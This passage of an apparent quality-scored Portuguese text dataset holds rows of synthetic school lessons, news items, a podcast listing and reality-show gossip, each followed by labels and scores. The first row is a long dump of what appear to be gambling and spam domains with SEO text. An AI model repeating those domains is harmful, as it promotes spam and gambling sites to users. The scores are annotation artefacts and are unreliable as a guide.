ele",original,original,original,original,0,0.0 +"www.tushan1188.com-www.c4737.com-www.bet63q.com_seo综合查询一下你就知道 +www.tushan1188.com-www.pj0029.com测速 +2 www.56733n.com 0.17s +3 WWW.6205.COM 0.00s +6 www.am1599.com 0.944s +www.68200.com get 0.118s +www.tyc1668.com get 2.928s +www.666uuu.com get 1.60s +www.10878s.com www.241.com www.747771.com www.16635.com www.2094xl.com www.3352.com www.pj8826.com www.c84.com www.965050kj.com www.p31888.com www.12451.com www.ra9588.com www.2211634.com www.flbtyc2.com www.26365.com www.3344.com www.257760.com www.hg8206.com www.0570k.com www.swc678.com www.9286801.com www.tlc815.com www.o456x.com www.46466.net www.871msc.com www.bj25045.com www.js9060.com www.21202mm.com www.js5699.com www.491288.com www.js51366.com www.dzjgw3333.com www.hlgf66.com www.3405oo.com www.549688.com www.123paogou.com www.pj2871.com www.yh538aaa.com www.sbd7555.com www.3344889.com www.7239r.com www.2019e.cc www.a32031.com www.89894b.com www.137222333.com www.3983064.com www.1423xiao.com www.cc7555.com www.7111pj.com www.88f34.com www.680588.com www.hr9888.com www.733874.com www.60259a.com www.7c788.com www.hg61776.com www.55608a.com www.791699.com www.20488.com www.pm48.com www.kb0909.com www.1559507.com www.2296rr.com www.257198.com www.70836.com www.108585.com www.44488333.com www.95611d.com www.1148g.com www.hg9966o.com www.648811.com www.909790.com www.3258k.com www.jiuzhouguoji.com www.859985.com www.a1319936.com www.6800913.com www.8055e.com www.804046.com www.ag0345.com www.343885.com www.66028.com www.am3333.net www.ma1333.com www.hbs438.com www.mejdw.com www.hf0011.com www.526342.com www.hg126t.com www.wwpress8.com www.853553.com www.52bkw.com www.jinsha622.com www.7999.hk www.23418f.com www.hg1088.com www.22218.com www.lizi66.com www.979085.com www.bet95222.com www.tccp550.com www.94566vns.com www.143317.com www.w91880.com www.1423hhh.com www.3589888.com www.99638g.com www.5854.com www.5875566.com www.sb5123.com www.xpj9738.com www.818297.com www.394766.com www.949405.com www.vip70577.com www.24338q.com www.851340.com www.dwc855.com www.16878g.com www.wnsr5550.com www.55056.com www.xxxx0033.com www.pj223322.com www.7111i.com www.87577t.com www.467574.com www.yhe788.com www.r252599.com www.627004.com www.4809m.com www.4058f.com www.925208.com www.hgg8200.com www.yh99982.com www.872198.com www.237msc.com www.rb485.com www.j0709.com www.501324.com www.wns8001.com www.399957.com www.8912491.com www.5872233.com www.8890aa.com www.37266b.com www.js36080.com www.5101gg.com www.4666.cc www.zd8826.com www.66136jj.com www.yh8699.com www.k6969.com www.905222.com www.bwinyz47.com www.2267e.com www.698106.com www.vns7668.com www.28482211.com www.ag9927.com www.hg271.com www.46698m.com www.4866a40.com www.92518.com www.t9158.com www.706656.com www.e777cp.com www.587708.com www.60886z.com www.0096tt.com www.3726e.com www.sc949.com www.63500.cc www.3650938.com www.oo8159.cc www.6780187.com www.266237.com www.xsj86.cc www.65707x.com www.77207.com www.24160.com www.855745.com www.hg86399.com www.712012.com www.jsgw2020.com www.1629k.com www.361888u.com www.hg4788.com www.qq365g.com www.42556.com www.930557.com www.ms888d.com www.658666.com www.2249933.com www.0007lb.com www.5003bbb.com www.950js.com www.99553015.com www.782795.com www.hg4014.com www.00829c.com www.caobi11.com www.35359193.com www.00789b.com www.hy340.com www.778771.com www.38336655.com www.yl33.com www.15515533.com www.55951j.com www.c1456.com www.dhycp2222.com www.68365g.com www.19880q.com www.lt096.com www.9996694.com www.m1495.com www.hg8868vip5.com www.733yh.com www.0340.com www.1005.am www.h88885.com www.103627.com www.497985.com www.sb-488.com www.8789j.com www.033033s.com www.97567.com www.cjlm55.com www.k726.com www.cs6088.com www.3066012.com www.58222n.com www.60fr.com www.374844.com www.j1516.com www.7172244.com www.489388.com www.9464aa.com www.zun354.com www.857006.com www.37770730.com www.6498e.cc www.pj22222.net www.5446rr.com www.623516.com www.hr2088.com www.782881.com www.98611f.com www.bole778877.c...",original,original,original,original,0,0.0 +"Olá, exploradores do conhecimento! Já pararam para pensar na imensidão do nosso Brasil e em como ele é diverso? Preparem-se para embarcar em uma jornada incrível, onde vamos desvendar os segredos dos nossos estados e regiões! + +**O Que São Estados e Regiões?** + +Imagine o Brasil como um grande quebra-cabeça. Cada peça desse quebra-cabeça é um estado, como São Paulo, Minas Gerais ou Amazonas. Cada estado tem sua própria capital, cidades importantes, paisagens únicas e culturas vibrantes. E para facilitar o estudo e a organização, agrupamos os estados em cinco grandes regiões: Norte, Nordeste, Centro-Oeste, Sudeste e Sul. + +**As Regiões Brasileiras: Um Mosaico de Culturas e Paisagens** + +* **Região Norte:** A maior região do Brasil, lar da exuberante Floresta Amazônica. Sabiam que lá vivem muitos povos indígenas com culturas riquíssimas? E que o Rio Amazonas é o maior rio do mundo em volume de água? +* **Região Nordeste:** Famosa pelas belíssimas praias, pelo calor do sol e pela alegria do carnaval. Já ouviram falar do frevo, do maracatu e do baião? Essas são danças típicas da região! +* **Região Centro-Oeste:** O coração do Brasil, com vastas áreas de cerrado e pantanal. É uma região muito importante para a agropecuária, com grandes plantações e criação de gado. +* **Região Sudeste:** A região mais populosa e industrializada do país, com grandes cidades como São Paulo e Rio de Janeiro. É um centro de cultura, economia e inovação. +* **Região Sul:** Com um clima mais frio e paisagens que lembram a Europa, como as cidades de Gramado e Canela. A região é conhecida pela produção de vinho e pela cultura gaúcha. + +**Por Que Estudar os Estados e Regiões do Brasil?** + +Conhecer os estados e regiões do Brasil é como abrir um livro de histórias fascinantes. Aprendemos sobre a diversidade do nosso povo, as diferentes formas de viver, as riquezas naturais e os desafios que enfrentamos. Além disso, entendemos como o Brasil se conecta com o mundo e como podemos construir um futuro melhor para todos. + +**Exemplos Práticos:** + +* Quando comemos açaí, estamos saboreando um fruto típico da Região Norte. +* Ao ouvirmos um forró, estamos apreciando a música do Nordeste. +* Quando vemos uma plantação de soja, lembramos da importância do Centro-Oeste para a agricultura. +* Ao visitarmos o Cristo Redentor, estamos conhecendo um dos símbolos do Sudeste. +* Quando tomamos um chimarrão, estamos participando de um ritual cultural do Sul. + +**Conclusão: Brasil, um País de Muitas Cores e Sabores!** + +Espero que essa viagem pelo Brasil tenha despertado a curiosidade de vocês! Lembrem-se, cada estado e região tem algo especial para nos ensinar. Continuem explorando, pesquisando e aprendendo sobre o nosso país. Afinal, conhecer o Brasil é amar o Brasil! + +**Para Refletir:** + +* Qual região do Brasil mais te chamou a atenção? Por quê? +* Como a cultura da sua região influencia o seu dia a dia? +* O que podemos fazer para valorizar e preservar a diversidade do nosso país?",Geografia,Estados e regiões do Brasil,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional, introduzindo o tema da divisão do Brasil em estados e regiões de forma didática e envolvente, com linguagem acessível e exemplos práticos. Aborda a diversidade cultural e econômica de cada região, estimulando a reflexão e o interesse do aluno. É adequado para o ensino fundamental, promovendo o aprendizado de forma estruturada e coerente.",5,1.0 +"O CD 'Anahí' é o registro de shows gravaram ao vivo em shows no Instituto Cultural Itaú (SP) da dupla Tetê e Alzira Espíndola. Estão presentes no repertório, polcas, guarânias e clássicos do cancioneiro popular, como 'Chalana', 'India' e 'Meu... +'Mi Delírio', primeiro álbum solo da cantora Anahí, já cercado de muita expectativa por parte de fãs. O CD da ex-integrante do RBD inclui a faixa título, primeiro single de trabalho, além de belas baladas como 'Hasta que Llegues Tu' e 'No Te Quiero... +Depois do enorme sucesso de seu mais recente álbum 'Mi Delirio', que a levou ao topo do pop mexicano e paradas, Billboard Latin e álbuns pop latino e premiou com várias nomeações para os Premios Lo Nuestro e Kids Choice Awards, entre outros. Anahí...",original,original,original,original,1,0.2 +"A doença que desafiou Stephen Hawking durante décadas ainda é um mistério para a ciência - Atualidade - SAPO Lifestyle +O astrofísico britânico Stephen Hawking, que morreu esta quarta-feira aos 76 anos depois de passar várias décadas numa cadeira de rodas com o auxílio de ventilação artificial, sofria de esclerose lateral amiotrófica (ELA), uma doença sem cura e que ainda é um mistério para a ciência. +A ELA é uma doença neurodegenerativa paralisante rara. Em média, surgem dois novos casos em cada 100.000 pessoas por ano, apresentando maior incidência em pessoas com idades entre os 55 e os 65 anos. Hawking foi diagnosticado com esta doença aos 21 anos. +A doença integra um grupo de neuropatias motoras que provocam degeneração física progressiva: as vítimas perdem o controlo dos seus músculos. No caso de Hawking, por exemplo, ele era capaz de controlar apenas um músculo do corpo, o da bochecha. +Esta patologia caracteriza-se por ter como primeiro sinal a perda da capacidade de movimentar os braços e pernas. Quando a paralisia alcança os músculos do diafragma e a parede torácica, os pacientes perdem a capacidade de respirar de forma autónoma e precisam de assistência artificial para sobreviver. +Hawking desafiou todas as previsões. Quando foi diagnosticado com a doença, em meados dos 60 do século passado, deram-lhe apenas dois anos de vida. Mas o astrofísico continuou a viver e a trabalhar durante várias décadas na sua cadeira de rodas e ligado a um respirador artificial. +O único músculo que conseguia movimentar servia para comunicar através de um computador que interpretava os seus gestos faciais e os traduzia para uma voz eletrónica, que se tornou ""a sua imagem de marca"". +Os médicos consideram a sua longevidade um mistério porque a doença não tem cura. De acordo com as estatísticas, a morte por ELA acontece entre os 24 e os 36 meses depois do diagnóstico.",original,original,original,original,3,0.6 +"Tumbas foram abertas pela primeira vez em 2.500 anos; hieróglifos, a antiga escrita do Egito, apontam que sarcófagos guardavam religiosos +Um dos 59 sarcófagos encontrado em setembro no Egito, em uma rara descoberta (divulgação/Divulgação) +Carla Aranha +Publicado em 06/10/2020 às 16:15. +Última atualização em 06/10/2020 às 16:36. +Depois de abrir os 59 sarcófagos encontrados em uma região desértica perto do Cairo, capital do Egito, no último sábado, dia 3, foram anunciados agora os estudos preliminares que apontam para a origem das múmias. Os arqueólogos concluíram que a maior parte das tumbas preserva os corpos de sacerdotes do templo, que desfrutavam de grande importância no antigo Egito. +As tumbas estavam lacradas e as múmias estavam envoltas em fitas funerárias negras e brancas, em um sistema de embalsamento que preservou os corpos por 2.500 anos. Descrições sobre a origem das múmias, escritas em hieróglifos nos sarcófagos, ajudaram os especialistas a desvendar sua origem. +As múmias viram a luz do dia pela primeira vez quando os sarcófagos foram abertos, em uma pequena cerimônia que contou com a presença de diplomatas e representantes do Ministério das Antiguidades do Egito. +Honoured to be invited by the Minister of Tourism and Antiquities HE Khaled El Anany to Saqqara for the announcement that a new tomb of mummies has been discovered. I saw one being opened for the first time in 2600 years! Truly amazing! @TourismandAntiq @MFATNZ 🇪🇬🇳🇿 pic.twitter.com/5oLfAM7zAV +— Greg Lewis 🇳🇿🇪🇬 (@NZinEgypt) October 3, 2020 +Foram encontradas 28 estatuetas de bronze nas tumbas. Os antigos egípcios, que fundaram uma das civilizações mais desenvolvidas da Antiguidade, costumavam embalsamar e sepultar os mandatários e outras figuras de destaque na sociedade junto com alguns de seus objetos preferidos. É raro, no entanto, encontrar tumbas e ornamentos antigos em tão bom estado. +Veja também +MundoEm meio à pandemia, múmias emergem no desertoquery_builder 19 set 2020 - 14h09 +Uma das estátuas representa o deus Nefertem, associado às flores e à criação. O culto a Nefertem era popular em Memphis, que foi a primeira capital do Egito. Saqqara, onde os sarcófagos foram encontrados, próxima à antiga capital, era um dos mais importantes locais de sepultamento no Egito há cerca de 2.600 anos. +Veja também +MundoMais 14 múmias emergem no deserto -- agora, já são 27query_builder 30 set 2020 - 09h09 +O Ministério de Antiguidades do Egito acredita que novas descobertas possam ser feitas na região. As escavações seguem a todo o vapor. Normalmente repleto de turistas, Saqqara, o Cairo e outros locais populares no Egito estão praticamente vazios desde a eclosão da pandemia do coronavírus. Por um lado, isso acelera o trabalho dos arqueólogos, mas por outro prejudica as economias do país. +O país reabriu há quase três semanas para o turismo. Os visitantes, no entanto, ainda não voltaram, com medo do coronavírus. O Egito, um dos países mais visitados do mundo, recebeu mais de 13,6 milhões de pessoas em 2019, a maioria interessada em conhecer suas riquezas arqueológicas. A expectativa era que esse ano os visitantes chegassem a pelo menos 15 milhões — isso, antes da covid-19. +Khaled el-Anany, ministro do Turismo e das Antiguidades, disse que está em uma missão para trazer de volta os negócios ligados à atividade e reaquecer a economia. O turismo responde por 12% do PIB do país. Ele também comemorou a inusitada descoberta das múmias. “Senti algo indescritível quando soube dessa nova e importante descoberta arqueológica”, afirmou.",original,original,original,original,3,0.6 +"Arquivo para Ganesha - Nowmastê +Post marcado com: ""Ganesha"" +21 de dezembro de 2018 × 1 comentário +29 de maio de 2016 × 9 comentários +17 de setembro de 2015 × 7 comentários +OM GAM GANAPATAYE NAMAHA SHARANAN GANESHA!!! Este mantra é um dos mais conhecidos no hinduismo e fácil de pronunciar. É uma invocação a Ganapati (outro nome de Ganesha) e serve para remover os obstáculos, tanto materiais como espirituais. Este mantra atua muito rápido, vale a pena experimentar. OM é a invocação […] +10 de abril de 2015 × 59 comentários +Ganesha é uma divindade muito amada e frequentemente invocada, já que é o Deus da Boa Fortuna – quem proporciona prosperidade e fortuna – e também o Destruidor de Obstáculos, de ordem material ou espiritual. É por este motivo que sua graça é invocada antes de iniciar qualquer tarefa (por exemplo: viajar, […] +1 de setembro de 2014 × 0 comentários",original,original,original,original,1,0.2 +É PAR OU ÍMPAR? BRINCANDO É MAIS FÁCIL DE APRENDER!,original,original,original,original,4,0.8 +"Já parou para pensar como a vida na Terra é uma grande teia, onde cada ser vivo depende um do outro? Hoje, vamos explorar essa conexão fascinante entre animais e plantas, e como nós, seres humanos, fazemos parte disso! Imagine uma floresta tropical: macacos se alimentam de frutas, que foram produzidas pelas árvores. As árvores, por sua vez, precisam dos macacos para espalhar suas sementes, garantindo que novas árvores cresçam. É uma parceria incrível, não é mesmo? Essa relação de dependência é chamada de interdependência, e está presente em todos os ecossistemas, desde oceanos até desertos. As plantas são como as cozinheiras da natureza. Elas realizam um processo mágico chamado fotossíntese, utilizando a luz do sol, água e gás carbônico para produzir seu próprio alimento e, de quebra, liberam o oxigênio que respiramos. Já os animais, são consumidores. Eles se alimentam das plantas ou de outros animais, obtendo a energia que precisam para viver. Mas e nós, seres humanos? Bem, somos parte importante dessa teia. Nos alimentamos de plantas e animais, utilizamos recursos naturais para construir nossas casas e produzir energia. Por isso, é fundamental que cuidemos do meio ambiente, garantindo que as plantas e os animais continuem a prosperar. A destruição de florestas, a poluição da água e do ar, e a caça ilegal de animais são ameaças à interdependência. Quando prejudicamos um elemento dessa teia, todos os outros também sofrem as consequências. Pense na sua alimentação: de onde vem o arroz, o feijão, a carne que você come? Cada um desses alimentos tem uma história, uma jornada que envolve plantas, animais e o trabalho de muitas pessoas. Agora, imagine se as abelhas desaparecessem... Elas são responsáveis por polinizar muitas das frutas e vegetais que consumimos. Sem as abelhas, nossa alimentação seria muito diferente! Para finalizarmos, reflita: o que você pode fazer para proteger a natureza e garantir que a interdependência entre animais e plantas continue a existir? Pequenas ações, como economizar água, plantar uma árvore, ou separar o lixo para reciclagem, fazem toda a diferença. Lembre-se: somos todos parte da mesma teia, e o futuro do nosso planeta depende de como cuidamos uns dos outros!",Ciências,Animais e plantas,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional, abordando o conceito de interdependência de forma clara e acessível para o público infantil. Apresenta exemplos práticos e estimula a reflexão sobre o papel dos seres humanos no meio ambiente, bem como ações para a sua preservação. O texto é adequado para os anos iniciais e finais do ensino fundamental, atingindo o nível máximo na escala de pontuação.",5,1.0 +"Trompete/Sereia Amada Sweep/Brush trem Tecido de seda Vestido de festa com Frente aberta (017014435) - JennyJoseph +Trompete/Sereia Amada Sweep/Brush trem Tecido de seda Vestido de festa com Frente aberta (017014435) +Repondido por JennyJoseph 2013-07-16 01:57:28 +Repondido por JennyJoseph 2013-07-12 00:34:50 +Repondido por JennyJoseph 2012-11-04 01:02:45 +Trompete/Sereia Um ombro Sweep/Brush...R$ 605,69 +De baile Decote quadrado Longos Tule...R$ 644,04 +Frente aberta Vestidos de festa,",original,original,original,original,1,0.2 +"Este novo estudo indica que o meteorito atingiu a Terra há 66.038.000 anos, ou seja, 33 mil anos antes da extinção dos dinossauros +Meteorito: impacto transformou o clima na Terra (AFP) +D +Da RedaçãoPublicado em 15/02/2013 às 13:25. +Washington - A queda de um meteorito de cerca de 10km de diâmetro no México foi um grande golpe para os dinossauros há 66 milhões de anos, segundo um estudo publicado esta quinta-feira na revista americana Science. +No entanto, trabalhos anteriores levavam a crer que este gigantesco impacto que transformou o clima na Terra ocorreu 300 mil anos antes do desaparecimento repentino dos dinossauros. +Este novo estudo, que se baseia em técnicas de datação radiométricas de alta precisão, indica que o meteorito atingiu a Terra há 66.038.000 anos, ou seja, 33 mil anos antes da extinção dos dinossauros. +""Demonstramos que estes acontecimentos são muito próximos, razão pela qual o impacto teve um papel maior na extinção"" dos dinossauros, assegurou Paul Renne, professor da Universidade de Berkeley e principal autor do estudo. +""Mas, embora o impacto tenha dado o golpe fatal nos dinossauros, este não foi provavelmente o único fator"", acrescentou Renne, referindo-se a fortes variações climáticas que foram registradas durante cerca de um milhão de anos antes do seu desaparecimento, incluindo os longos períodos de frio. +Uma série de enormes erupções vulcânicas na Índia foram uma das causas dessa variação do clima. +As novas estimativas põem fim à confusão criada pelos estudos anteriores sobre a data do repentino desaparecimento dos dinossauros e de muitas criaturas marinhas, deduzidas a partir do estudo dos fósseis. +A extinção dos dinos foi relacionada pela primeira vez com a queda de um asteroide ou de um cometa em 1980 pelo professor de Ciência Planetária da Universidade de Berkeley Luis Alvarez, já falecido, e por seu filho, Walter. +Este impacto formou uma cratera no Caribe chamada Chicxulub, de 177 km de largura, onde atualmente fica o litoral do México.",original,original,original,original,3,0.6 +"Olá, pequenos exploradores da história! Já pararam para pensar por que fazemos as coisas que fazemos? Por que comemos certos pratos, dançamos certas músicas e contamos certas histórias? Tudo isso faz parte das nossas tradições culturais! As tradições são como um tesouro que herdamos dos nossos antepassados, dos nossos avós, bisavós e de todas as pessoas que viveram antes de nós. Elas são os costumes, as crenças e os conhecimentos que passam de geração em geração, como uma receita de bolo deliciosa que a vovó ensina para a neta. + +No Brasil, temos uma riqueza enorme de tradições culturais, porque somos um país formado por muitos povos diferentes. Os indígenas, que já viviam aqui antes da chegada dos portugueses, trouxeram seus cantos, danças, artesanatos e sua profunda ligação com a natureza. Os africanos, que vieram para o Brasil, trouxeram sua música vibrante, sua culinária saborosa e suas histórias cheias de sabedoria. Os portugueses, por sua vez, trouxeram sua língua, sua religião e muitas outras influências. E, ao longo do tempo, outros povos, como os italianos, alemães, japoneses e tantos outros, também contribuíram para a nossa cultura, tornando-a ainda mais rica e diversa. + +Cada região do Brasil tem suas tradições especiais. No Norte, por exemplo, temos o Festival de Parintins, com a disputa emocionante entre os bois-bumbás Garantido e Caprichoso. No Nordeste, temos o frevo e o maracatu, ritmos contagiantes que nos fazem dançar e celebrar. No Sudeste, temos o carnaval, uma festa grandiosa que enche as ruas de alegria e cor. No Sul, temos as festas gaúchas, com seus churrascos, chimarrão e danças típicas. E no Centro-Oeste, temos a cultura pantaneira, com suas tradições ligadas à natureza e à vida no campo. + +Que tal descobrir quais são as tradições culturais da sua família e da sua comunidade? Pergunte aos seus pais, avós e vizinhos sobre as festas, os pratos, as músicas e as histórias que eles mais gostam. Você pode se surpreender com a quantidade de coisas interessantes que vai aprender! E lembre-se: as tradições culturais são importantes porque nos ajudam a construir a nossa identidade, a nos conectar com o nosso passado e a celebrar a nossa diversidade. Ao conhecermos e valorizarmos as nossas tradições, estamos contribuindo para um futuro mais rico e culturalmente vibrante para todos os brasileiros! E você, qual tradição cultural te encanta mais?",História,Tradições culturais,anos iniciais (1º ao 5º ano),"O trecho possui alto valor educacional para o ensino fundamental. Apresenta uma introdução envolvente sobre tradições culturais, utilizando linguagem acessível e exemplos regionais brasileiros. Aborda a importância das tradições na formação da identidade e valorização da diversidade, incentivando a pesquisa e o diálogo familiar. O texto é claro, consistente e adequado para a faixa etária, promovendo um aprendizado estruturado e significativo.",5,1.0 +"Você já parou para pensar de onde vêm muitas das coisas que usamos e fazemos no nosso dia a dia? A história do Brasil é rica e diversa, e muito do que somos hoje tem raízes profundas nos povos indígenas que já viviam aqui muito antes da chegada dos europeus. Vamos explorar algumas dessas heranças? + +Imagine a sua alimentação. A mandioca, ingrediente essencial em pratos como a tapioca e o bolo de aipim, é um presente dos indígenas. Eles foram os primeiros a domesticar essa planta e a descobrir como transformar o veneno presente nela em alimento nutritivo. E o milho? Base de tantas receitas deliciosas, como a pamonha e o curau, também é herança indígena! + +Além da comida, muitas palavras que usamos vêm de línguas indígenas, como o tupi-guarani. Nomes de frutas como abacaxi, maracujá e pitanga, de animais como arara, tucano e capivara, e de lugares como Ipanema, Copacabana e Tietê são exemplos de como a cultura indígena está presente na nossa linguagem. + +E as redes de dormir? Quem não gosta de relaxar em uma rede depois de um dia cansativo? Essa invenção genial também é indígena! Originalmente feitas de fibras naturais, as redes eram usadas para proteger os indígenas de animais e da umidade do solo. Hoje, elas são sinônimo de descanso e fazem parte da cultura brasileira. + +A influência indígena vai além do que vemos e tocamos. A maneira como nos relacionamos com a natureza, o respeito pelos mais velhos e a importância da comunidade são valores presentes em muitas culturas indígenas e que, de certa forma, influenciam a nossa sociedade. Mesmo na arte, podemos encontrar essa influência, nos desenhos e nas cores vibrantes que alegram nossas vidas. + +É importante lembrar que os povos indígenas não são um grupo único e homogêneo. Existem diversas etnias, cada uma com sua própria língua, cultura e costumes. Conhecer e valorizar a história e a cultura desses povos é fundamental para construirmos um Brasil mais justo e igualitário. Que tal pesquisar sobre a etnia indígena que vive ou viveu na sua região? Você pode se surpreender com o que vai descobrir! + +Para finalizar, reflita: Como você pode valorizar e preservar as heranças indígenas no seu dia a dia? Compartilhe o que você aprendeu com seus amigos e familiares e ajude a construir um futuro onde a história e a cultura dos povos indígenas sejam sempre lembradas e respeitadas.",História,Povos indígenas,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional por introduzir a influência indígena na cultura brasileira de forma clara e acessível, abrangendo alimentação, linguagem, costumes e valores. Estimula a reflexão e pesquisa, promovendo a valorização da história e cultura indígena. O texto é adequado para o ensino fundamental, com linguagem acessível e conteúdo relevante.",5,1.0 +"O seu podcast quinzenal sobre Nintendo! Conversas muito descontraídas abordando temas como as principais notícias, nostalgia e muito mais desse universo místico e divertido! +more +Language +Portuguese +Categories +Leisure/GamesLeisure/Video GamesNews/Entertainment News +Top CategoriesView all +Religion & SpiritualitySociety & CultureMusicChristianityArtsEducationBusinessComedyTechnologyTV & Film +Nintendo POWdcast +Nintendo Lovers +About this podcast +O seu podcast quinzenal sobre Nintendo! Conversas muito descontraídas abordando temas como as principais notícias, nostalgia e muito mais desse universo místico e divertido! +more +Language +Portuguese +Categories +Leisure/GamesLeisure/Video GamesNews/Entertainment News +Top CategoriesView all +Religion & SpiritualitySociety & CultureMusicChristianityArtsEducationBusinessComedyTechnologyTV & Film +230 episodes +Sorted byPublished (Newest)Published (Oldest) +Nintendo POWdcast #173 – POWdnews: Relatório Fiscal (Q2/2022), Indie World, Prisão, TGA e mais +23 November 2022 +Neste episódio, Tovar, Kiefer, Michel e Reche batem um papo sobre o relatório fiscal da Nintendo e sobre outras notícias. +Ajude-nos a continuar fazendo este e outros conteúdos, além de ter acesso a vantagens exclusivas. Conheça nossos planos em https://www.nintendolovers.com/ajuda. +01:23:00 +Nintendo POWdcast #172 – O Que Estamos Jogando? (No More Heroes 3, Mario Party Superstar e Ace Angler: Fishing Spirits) +09 November 2022 +Neste episódio, Tovar, Reche e o recém-chegado Michel batem um papo sobre os jogos que têm jogado nos últimos dias. Bora ouvir? +Ajude-nos a continuar fazendo este e outros conteúdos, além de ter acesso a vantagens exclusivas. Conheça nossos planos em https://www.nintendolovers.com/ajuda... +01:15:03 +Nintendo POWdcast #171 – Jogos Grátis +19 October 2022 +Neste episódio, Tovar e Reche falam sobre jogos grátis que estão disponíveis no Nintendo Switch. Bora ouvir e economizar? +Ajude-nos a continuar fazendo este e outros conteúdos, além de ter acesso a vantagens exclusivas. Conheça nossos planos em https://www.nintendolovers.com/ajuda. +01:18:53 +Nintendo POWdcast #170 – Sobre a Produção de Conteúdo (textos e podcast) +05 October 2022 +Neste episódio, Tovar, Reche e Kiefer batem um papo sobre a produção de conteúdo em texto e em podcast. Responderemos perguntas e contaremos curiosidades de como é todo esse processo. +Ajude-nos a continuar fazendo este e outros conteúdos, além de ter acesso a vantagens exclusivas. Conhe... +01:21:17 +Nintendo POWdcast #169 – Splatoon 3 +21 September 2022 +Neste episódio, Tovar e Reche falam sobre Splatoon 3 e o que estão achando do jogo. +Ajude-nos a continuar fazendo este e outros conteúdos, além de ter acesso a vantagens exclusivas. Conheça nossos planos em https://www.nintendolovers.com/ajuda. +Link do post: https://ninten... +01:21:08 +PAPOW #005 – Nintendo Direct de 13/09/2022 +16 September 2022 +Neste PAPOW, Tovar e Kiefer trazem um apanhado dos melhores anúncios da Direct que aconteceu em 13/09/2022. Bora ouvir? +Ajude-nos a continuar fazendo este e outros conteúdos, além de ter acesso a vantagens exclusivas. Conheça nossos planos em https://www.nintendolovers.com/ajuda. +... +00:59:38 +Nintendo POWdcast #168 – Jogos INDIEspensáveis – TMNT: Shredder’s Revenge, Axiom Verge e Fishing Paradiso +07 September 2022 +Neste episódio, Tovar, Kiefer e Reche trazem mais três jogos INDIEspensáveis para você. TMNT: Shredder's Revenge, Axiom Verge e Fishing Paradiso. +Ajude-nos a continuar fazendo este e outros conteúdos, além de ter acesso a vantagens exclusivas. Conheça nossos planos em https://www.ninten... +01:20:50 +Nintendo POWdcast #167 – O Ano de 1996 +24 August 2022 +Neste episódio, Tovar, Kiefer e Reche batem um papo sobre o ano de 1996. O que aconteceu? Quais foram os melhores jogos? +Ajude-nos a continuar fazendo este e outros conteúdos, além de ter acesso a vantagens exclusivas. Conheça nossos planos em https://www.nintendolovers.com/ajuda. +... +01:19:47 +Nintendo POWdcast #166 – POWdnews: Relatório Fiscal (Q1/20...",original,original,original,original,2,0.4 +"Jonas e Monique continuam se bronzeando na borda da piscina. O brother faz cafuné na sister. Monique parece gostar e fecha os olhos relaxada. +Fabiana e Renata soltam um grito de animação, mas não corta o clima dos dois. Monique e Jonas abrem os olhos e passam a conversar com os outros brothers em volta. O clima é de carinho entre os dois confinados. +Mais cedo, era Monique quem acariciava o brother na beira da piscina. +Monique e Jonas voltaram a se beijar esta noite. Os dois assistiram ao cinema do Líder com Yuri e na hora de se despedir para dormir, os dois acabaram se beijando novamente. Jonas chamou a sister para dormir com ele no Quarto Praia e a sister aceitou o convite. Durante a noite o clima esquentou sob o edredom. +Hoje de manhã, Monique contou para Renata tudo o que rolou com o brother sob o edredom durante a noite.",original,original,original,original,0,0.0 +"Olá, pequenos exploradores da matemática! Já pararam para pensar que os números estão por toda parte? E que alguns deles, como as frações e os decimais, são verdadeiros super-heróis disfarçados, prontos para nos ajudar em muitas situações do dia a dia? Vamos desvendar esses poderes juntos! + +Imagine que você tem uma pizza deliciosa e quer dividi-la com seus amigos. Se você cortar a pizza em quatro pedaços iguais e pegar um desses pedaços, você terá 1/4 (um quarto) da pizza. Essa é uma fração! O número de baixo (4) indica em quantas partes iguais a pizza foi dividida, e o número de cima (1) mostra quantas partes você pegou. Frações nos ajudam a entender partes de um todo. + +Agora, imagine que você vai à padaria comprar um pão. O pão custa R$ 2,50 (dois reais e cinquenta centavos). Esse número, com a vírgula, é um número decimal. Os decimais são como frações que foram transformadas em números mais fáceis de usar, especialmente quando lidamos com dinheiro, medidas e outras coisas do dia a dia. O que vem depois da vírgula representa uma parte menor do que um inteiro. No caso de R$ 2,50, o ‘50’ representa 50 centavos, que é metade de um real (1/2 ou 0,5). + +As frações e os decimais estão presentes quando dividimos um bolo de aniversário, quando medimos o tamanho de um brinquedo ou quando calculamos quanto vamos gastar na cantina da escola. Eles nos ajudam a ser mais precisos e justos em nossas divisões e cálculos. Que tal pensar em outras situações do seu dia a dia em que você usa frações ou decimais? + +Aprender sobre frações e decimais é como ganhar um mapa secreto para entender melhor o mundo ao nosso redor. Com esses conhecimentos, podemos resolver problemas, tomar decisões inteligentes e até mesmo impressionar nossos amigos e familiares! Então, vamos continuar explorando esses superpoderes matemáticos e descobrir todas as maravilhas que eles podem nos proporcionar!",Matemática,Frações e decimais,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional, introduzindo frações e decimais de forma lúdica e contextualizada para o cotidiano dos alunos. A linguagem é acessível e o conteúdo é relevante para os anos iniciais do ensino fundamental, explorando conceitos matemáticos de maneira clara e incentivando a reflexão. A analogia com super-heróis e situações do dia a dia aumenta o engajamento e facilita a compreensão.",5,1.0 +"Imagem corporativa – Wikipédia, a enciclopédia livre +Kunsch (2003), ao citar Riel (1995), afirma que a imagem é um conjunto de significados pelos quais se chega a conhecer um objeto e por meio do qual as pessoas o descrevem, recordam e se relacionam. Mas, acrescenta que imagem também é o resultado da interação de crenças, idéias, sentimentos e impressões constituídas pelas pessoas sobre determinado objeto. A imagem corporativa se relaciona com a visão que os públicos possuem de determinada organização, e costuma estar fortemente ligada aos produtos gráficos, a identidade visual, que é construída através das diversas percepções da comunicação em relação à publicidade, logotipos, cores, embalagens e etc. Essa imagem que corresponde a uma visão externa da organização, depende também da forma de comunicação interna, onde ela é definida através do foco no público, as ações que serão realizadas para atingi-los, a forma de comunicação escolhida além da missão, visão e valores da organização e revela como ela está organizada, além de indicar se é centralizada ou descentralizada, se possui divisões e filias e o ramo em que atua.É a forma que uma empresa é vista, e avaliada pelos públicos, está ligada ao que a organização representa. Os relações públicas fazem parte do quadro de profissionais que trabalham para que a imagem corporativa seja atraente aos olhos dos diversos públicos, de modo que consigam despertar o interesse dos cosumidores e valorizar a marca. +Muitas empresas investem tempo e recursos, para influenciar a opinião que os consumidores deixarão sobre os serviços oferecidos pela empresa e o próprio negócio. Este processo de cultivo de relações positivas não se estende a única interação com os consumidores, mas também a interação permanente com os 